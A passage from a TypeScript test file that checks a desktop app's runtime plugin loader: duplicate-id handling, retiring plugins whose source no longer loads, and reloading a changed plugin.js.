window.dispatchEvent(new Event('hermes-probe'))
expect(counters.__scopedTicks).toBe(3)
expect(counters.__scopedEvents).toBe(1)
unloadRuntimePlugin('scoped-lifetime')
await vi.advanceTimersByTimeAsync(3_000)
window.dispatchEvent(new Event('hermes-probe'))
expect(counters.__scopedTicks).toBe(3)
expect(counters.__scopedEvents).toBe(1)
} finally {
unloadRuntimePlugin('scoped-lifetime')
delete counters.__scopedTicks
delete counters.__scopedEvents
restore()
}
})
it('two folders claiming one id: the first (sorted) owns it, the later one errors on its own row', async () => {
const restore = withBlobReroute()
counters.__dupAlpha = 0
counters.__dupBeta = 0
try {
// Listed beta-first: the loader sorts, so alpha still wins deterministically.
rootWith(
{
alpha: () => 'export default { id: "dup", register() { globalThis.__dupAlpha++ } }',
beta: () => 'export default { id: "dup", register() { globalThis.__dupBeta++ } }'
},
['beta', 'alpha']
)
await discoverRuntimePlugins()
expect(counters.__dupAlpha).toBe(1)
expect(counters.__dupBeta).toBe(0)
expect($pluginRecords.get().dup).toMatchObject({ status: 'loaded', file: `${root}/alpha/plugin.js` })
expect($pluginRecords.get().beta).toMatchObject({ status: 'error', file: `${root}/beta/plugin.js` })
expect($pluginRecords.get().beta?.error).toMatch(/duplicate id "dup", already loaded from .*alpha\/plugin\.js/)
} finally {
unloadRuntimePlugin('dup')
delete counters.__dupAlpha
delete counters.__dupBeta
restore()
}
})
it('a save that no longer loads retires the previous incarnation instead of leaving it live', async () => {
const restore = withBlobReroute()
counters.__staleHits = 0
let source = `
import { host } from '@hermes/plugin-sdk'
export default {
id: 'stale',
register() { host.onEvent('bot_relay.outbox.pending', () => { globalThis.__staleHits++ }) }
}
`
try {
rootWith({ 'stale-folder': () => source })
await discoverRuntimePlugins()
emitGatewayEvent({ type: 'bot_relay.outbox.pending' } as never)
expect(counters.__staleHits).toBe(1)
expect($pluginRecords.get().stale).toMatchObject({ status: 'loaded' })
// Mid-edit save: the file on disk is now broken.
source = 'export default {'
await discoverRuntimePlugins()
emitGatewayEvent({ type: 'bot_relay.outbox.pending' } as never)
expect(counters.__staleHits).toBe(1)
expect($pluginRecords.get().stale).toBeUndefined()
expect($pluginRecords.get()['stale-folder']).toMatchObject({ status: 'error' })
} finally {
unloadRuntimePlugin('stale')
delete counters.__staleHits
restore()
}
})
})
describe('manual "Reload desktop plugins" (#91503)', () => {
it('re-reads an already-known plugin.js path and swaps in the new module', async () => {
const root = '/local/.hermes/desktop-plugins'
desktopPluginsRoot.mockResolvedValue(root)
readDir.mockImplementation(async dir => {
if (dir === root) {
return { entries: [{ isDirectory: true, name: 'replaceable', path: `${root}/replaceable` }] }
}
if (dir === `${root}/replaceable`) {
return { entries: [{ isDirectory: false, name: 'plugin.js', path: `${root}/replaceable/plugin.js` }] }
}
return { entries: [] }
})
const registerV1 = vi.fn()
const registerV2 = vi.fn()
Object.assign(globalThis, { __replaceableV1: registerV1, __replaceableV2: registerV2 })
let source = 'export default { id: "replaceable", register: globalThis.__replaceableV1 }'
readFileText.mockImplementation(async () => ({ text: source }))
let watchN = 0
watchPreviewFile.mockImplementation(async () => ({ id: `w-replaceable-${++watchN}` }))
const createObjectURL = vi
.spyOn(URL, 'createObjectURL')
.mockImplementation(
blob =>
`data:text/javascript;base64,${Buffer.from((blob as unknown as { parts: string[] }).parts.join('')).toString('base64')}`
)
const revokeObjectURL = vi.spyOn(URL, 'revokeObjectURL').mockImplementation(() => undefined)
const RealBlob = globalThis.Blob
vi.stubGlobal(
'Blob',
class {
parts: string[]
constructor(parts: string[]) {
this.parts = parts
}
}
)
try {
await discoverRuntimePlugins()
expect(registerV1).toHaveBeenCalledTimes(1)
// Atomic directory replacement: same path, same id, new bytes.
source = 'export default { id: "replaceable", register: globalThis.__replaceableV2 }'
await discoverRuntimePlugins()
expect(registerV2).toHaveBeenCalledTimes(1)
expect(registerV1).toHaveBeenCalledTimes(1)
// The old inode's watch is released and the current file is watched again.
expect(stopPreviewFileWatch).toHaveBeenCalledWith('w-replaceable-1')
expect(watchPreviewFile).toHaveBeenCalledTimes(2)
} finally {
createObjectURL.mockRestore()
revokeObjectURL.mockRestore()
vi.stubGlobal('Blob', RealBlob)
unloadRuntimePlugin('replaceable')
delete (globalThis as unknown as { __replaceableV1?: unknown }).__replaceableV1
delete (globalThis as unknown as { __replaceableV2?: unknown }).__replaceableV2
}
})
})